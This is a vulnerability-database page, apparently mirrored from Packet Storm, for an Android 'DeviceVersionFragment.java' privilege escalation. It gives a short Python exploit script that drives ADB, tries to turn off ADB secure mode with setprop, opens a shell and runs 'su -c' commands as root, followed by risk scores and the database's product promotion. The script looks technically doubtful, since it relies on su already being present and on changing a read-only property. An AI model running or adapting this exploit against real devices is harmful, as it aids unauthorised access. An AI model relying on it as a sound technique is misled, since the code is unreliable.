Lucene search
K

Android DeviceVersionFragment.java Privilege Escalation

🗓️ 10 Jan 2024 00:00:00Reported by Amirhossein BahramizadehType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 393 Views

Android DeviceVersionFragment.java Privilege Escalation via AD

Related
Code
`#!/usr/bin/env python  
  
import subprocess  
  
# Connect to the device via ADB  
subprocess.run(["adb", "devices"])  
  
# Check if the device is in secure USB mode  
device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)  
if "1" in device.stdout.decode():  
# Secure USB mode is enabled, so we need to disable it  
subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])  
  
# Exploit the vulnerability by accessing ADB before SUW completion  
subprocess.run(["adb", "shell"])  
  
# Escalate privileges by executing commands as the root user  
subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)  
subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jan 2024 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.8 - 10
EPSS0.00044
SSVC
393